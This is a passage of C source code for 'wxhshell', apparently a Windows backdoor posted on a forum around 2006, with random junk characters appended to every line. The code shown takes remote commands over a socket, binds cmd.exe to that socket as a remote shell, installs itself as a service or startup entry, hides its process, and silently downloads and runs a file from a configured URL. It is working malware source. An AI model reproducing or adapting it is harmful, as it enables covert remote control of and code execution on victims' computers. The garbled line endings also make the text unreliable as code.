      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T^_9R;  
    break; D2bUSRrb  
  } .&y1gh!=  
  // 安装 X[<9+Q-&  
  case 'i': { at!?"u  
    if(Install()) :F&WlU$L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )w-?|2-w5  
    else AK HH{_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }|,y`ui\  
    break; "T|\  
    } ;H lv  
  // 卸载 O [/~V=  
  case 'r': { gZ3!2T>  
    if(Uninstall()) <=Qk^Y2k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V_!i KEU  
    else @V)WJ {  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q]x@q  
    break; uc_ X;M;  
    } MXb(Z9)]kw  
  // 显示 wxhshell 所在路径 |k+^D:  
  case 'p': { pC6_ jIZ  
    char svExeFile[MAX_PATH]; /V&Y@j  
    strcpy(svExeFile,"\n\r"); kN)ev?pQ[  
      strcat(svExeFile,ExeFile); ~6tY\6$9f  
        send(wsh,svExeFile,strlen(svExeFile),0); YbKW;L&Ff  
    break; a0R]hENC  
    } 1*fA>v  
  // 重启 RulIzv  
  case 'b': { (yfTkBy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q<VhP2R  
    if(Boot(REBOOT)) (P?9Jct  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T (qu~}  
    else { cO:x{~  
    closesocket(wsh); {\B!Rjt[T  
    ExitThread(0); =>G A_  
    } #^Y,,GA  
    break; :"4~VDu  
    } }MNm>3  
  // 关机 cF6|IlhO  
  case 'd': { duI8^&|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \cG'3\GI  
    if(Boot(SHUTDOWN)) \1Zf Sc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qb Q> z+c  
    else { )n.peZ  
    closesocket(wsh); P]n ' q  
    ExitThread(0); S~T[*Z/m  
    } X 6)LpMm  
    break; SpgVsz  
    } cnR>)9sX  
  // 获取shell 5 F-Q&  
  case 's': { U:Y?2$#  
    CmdShell(wsh); h>wU';5#f  
    closesocket(wsh); L$g;^@j  
    ExitThread(0); pfT7  
    break; (I$hw"%&  
  } AF@C9s  
  // 退出 b{&@ Lm0Tn  
  case 'x': { d1-QkW^0y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o! 8X< o  
    CloseIt(wsh); Z]tz<YSkG  
    break; \4ZQop  
    } wQ5__"D  
  // 离开 yC[}gHv  
  case 'q': { %9j]N$.V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C.@TX  
    closesocket(wsh); >2a~hW|,  
    WSACleanup(); 4Xz|HU?  
    exit(1); _#+i;$cO-X  
    break; 'Gk|&^  
        } W;=ZQ5Lw  
  } \21!NPXH2  
  } bu]bfnYi9  
2h=RNU|  
  // 提示信息 wNlp4Z'[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fRiHs\+  
} 8L:0Wp  
  } (f)QEho7  
FEkx&9]  
  return; s[hD9$VB>  
} W/ERqVZR]  
R$q:Ct  
// shell模块句柄 m*1=-" P  
int CmdShell(SOCKET sock) R&?p^!`%  
{ i[B%:q:&  
STARTUPINFO si; 9I,Trk@&  
ZeroMemory(&si,sizeof(si)); V{][{5SR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1peN@Yk2W  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '>Z Ou3>  
PROCESS_INFORMATION ProcessInfo; Q]8r72uSk  
char cmdline[]="cmd"; OA_ %%A;o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8W{R&Z7aL  
  return 0; &:rf80`z.  
} EB \\ F  
F J)la9  
// 自身启动模式 avQwbAh[  
int StartFromService(void) R8HFyP  
{ 8qT/1b  
typedef struct ;yr 'K  
{ "zugnim  
  DWORD ExitStatus; ?n}L+|  
  DWORD PebBaseAddress; c5JxKU_  
  DWORD AffinityMask; > B==*,|  
  DWORD BasePriority; dwRJ0D]&  
  ULONG UniqueProcessId; hT<v8  
  ULONG InheritedFromUniqueProcessId; Z',pQ{rD  
}   PROCESS_BASIC_INFORMATION; 7>#74oy  
d4lEd>Ni  
PROCNTQSIP NtQueryInformationProcess; N)QW$iw9  
@sP?@< C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WkT4&|POJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;e+ErN`a.~  
4XRVluD%W.  
  HANDLE             hProcess; lyP<&<Y5  
  PROCESS_BASIC_INFORMATION pbi; RJ`F2b sYN  
-0Ps. B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '2eggX%  
  if(NULL == hInst ) return 0; [l0>pHl@  
OmsNo0OA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,a}+Jj{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uKK+V6}!kj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *t63c.S  
Up~#]X  
  if (!NtQueryInformationProcess) return 0; &U:;jlST9  
$aEL>, X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \]zH M.E1  
  if(!hProcess) return 0; u-D%: lz85  
Ay[6rUO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8/k* "^3  
F8q|$[nH  
  CloseHandle(hProcess); ^5OR%N)  
HN\9 d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0y*8;7-|r)  
if(hProcess==NULL) return 0; Uo# Pe@ieQ  
@,$>H 7o  
HMODULE hMod; wtK+\Qnb  
char procName[255]; NOQM:tBO>  
unsigned long cbNeeded; )KG.:BO<  
}}<^f M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s$A|>TOY  
+ps(9O/B>  
  CloseHandle(hProcess); 1jDN=hIl  
QN":Qk(,q  
if(strstr(procName,"services")) return 1; // 以服务启动 r+>gIX+Fl  
0`:0m/fsU  
  return 0; // 注册表启动 NbH;@R)L  
} k*J0K=U|  
d-y8c  
// 主模块 V!u W\i/  
int StartWxhshell(LPSTR lpCmdLine) O|d"0P  
{ U`z=!KI+g  
  SOCKET wsl; idEhxvAo  
BOOL val=TRUE; /; w(1)B  
  int port=0; 13kl\ <6  
  struct sockaddr_in door; 5 y0 N }}  
W|4:3 c4  
  if(wscfg.ws_autoins) Install(); R10R,*6>  
vr"O9L w  
port=atoi(lpCmdLine); 0tK(:9S  
xcty  
if(port<=0) port=wscfg.ws_port; <m'W{n%Pp  
4S5U|n  
  WSADATA data; ,?S1e#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kZ$2Uss  
@cukoLAn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]V^ >aUlj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HQX.oW  
  door.sin_family = AF_INET;  Z/RSZ-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s^#B*  
  door.sin_port = htons(port); #ozui-u>  
n&1q*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NYw>Z>TD8c  
closesocket(wsl); g=n{G@*N  
return 1; {\hjKP  
} }20~5!  
uVN2}3!)Y  
  if(listen(wsl,2) == INVALID_SOCKET) { f?W_/daP  
closesocket(wsl); W[/Txc0$  
return 1; WUrE1%u  
} t^ Ge "  
  Wxhshell(wsl); E6XDn`:  
  WSACleanup(); \xG_q>1_  
LGB}:;$AL  
return 0; c^3,e/H  
-!q^/ux  
} - ({h @  
!y+uQ_IS@  
// 以NT服务方式启动 x n?$@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >jz9o9?8  
{ *+(rQ";x  
DWORD   status = 0; %tB7 &%ut  
  DWORD   specificError = 0xfffffff; R#HVrzOO|T  
^p)#;$6b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8wV`mdKN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FRa>cf4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GHY+q{'#V_  
  serviceStatus.dwWin32ExitCode     = 0; fJOw E g|  
  serviceStatus.dwServiceSpecificExitCode = 0; b+1!qNuCW#  
  serviceStatus.dwCheckPoint       = 0; 1%ENgb:8  
  serviceStatus.dwWaitHint       = 0; L+N\B@ 0-  
M0yv= g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !#d5hjoX  
  if (hServiceStatusHandle==0) return; &+ "<ia(  
`R;i1/  
status = GetLastError(); L I*=T   
  if (status!=NO_ERROR) {8>g?4Q#  
{ _iu~vU)r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F42<9)I  
    serviceStatus.dwCheckPoint       = 0; CFC15/yU  
    serviceStatus.dwWaitHint       = 0; 1*" 7q9x  
    serviceStatus.dwWin32ExitCode     = status; 90#* el  
    serviceStatus.dwServiceSpecificExitCode = specificError; <2N{oK.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); JR8|!Of@B  
    return; 'i',M+0>jC  
  } /k8I6  
<?s@-mpgN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; KRz~3yH{ c  
  serviceStatus.dwCheckPoint       = 0; }y Vx"e)  
  serviceStatus.dwWaitHint       = 0; :_}xN!9LA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kDol1v`  
} d a<>a  
(n`] sbx  
// 处理NT服务事件,比如:启动、停止 fV@ [S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?VlGTMaS+  
{ ~UJ.A<>Fh  
switch(fdwControl) -L +kt_>  
{ ,OWk[0/  
case SERVICE_CONTROL_STOP: VCfHm"'E8  
  serviceStatus.dwWin32ExitCode = 0; rY 6x):sC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >"8;8Ev  
  serviceStatus.dwCheckPoint   = 0; >$7x]f  
  serviceStatus.dwWaitHint     = 0; hr;^.a^  
  { %N)B8A9kh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); To}eJ$8*5  
  } Q 9fK)j1$  
  return; EB| iW2'  
case SERVICE_CONTROL_PAUSE: nfbR"E jXr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /5)*epF+  
  break; ugNt7P,^  
case SERVICE_CONTROL_CONTINUE: ~Oa$rqu%m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3CgID6[Sy  
  break; <o/!M6^:  
case SERVICE_CONTROL_INTERROGATE: ,A'| Z  
  break; "I66 @d?  
}; ckMG4 3i\j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9w- )??  
} [0EWIdT*b  
.u>[m.  
// 标准应用程序主函数 yUj`vu 2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o3V\   
{ UAPd["`)y  
Lo3N)~5  
// 获取操作系统版本 :h5G|^  
OsIsNt=GetOsVer(); $m;`O_-T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b3EGtC}^  
vo f8bQ{&  
  // 从命令行安装 23P&n(.  
  if(strpbrk(lpCmdLine,"iI")) Install(); -=nk,cYn  
u"q5 6}Q?]  
  // 下载执行文件 &nDXn|  
if(wscfg.ws_downexe) { a M9v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L/ Q[N^ (^  
  WinExec(wscfg.ws_filenam,SW_HIDE); o!:Z?.!  
} `Jk0jj6Z  
0u1ZU4+EC  
if(!OsIsNt) { ;+<IWDo  
// 如果时win9x,隐藏进程并且设置为注册表启动 }%p:Xv@X!  
HideProc(); A+="0{P  
StartWxhshell(lpCmdLine); -Y@tx fu-  
} I<O$);DV'  
else p;>A:i  
  if(StartFromService()) u [._RA  
  // 以服务方式启动 `mzlOB  
  StartServiceCtrlDispatcher(DispatchTable); M2Jf-2  
else Ux7LN @4og  
  // 普通方式启动 Ez;Qo8  
  StartWxhshell(lpCmdLine); (/uAn2  
7b+r LyS0  
return 0; BbI%tmA7  
}
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只看该作者 1 发表于: 2006-10-10
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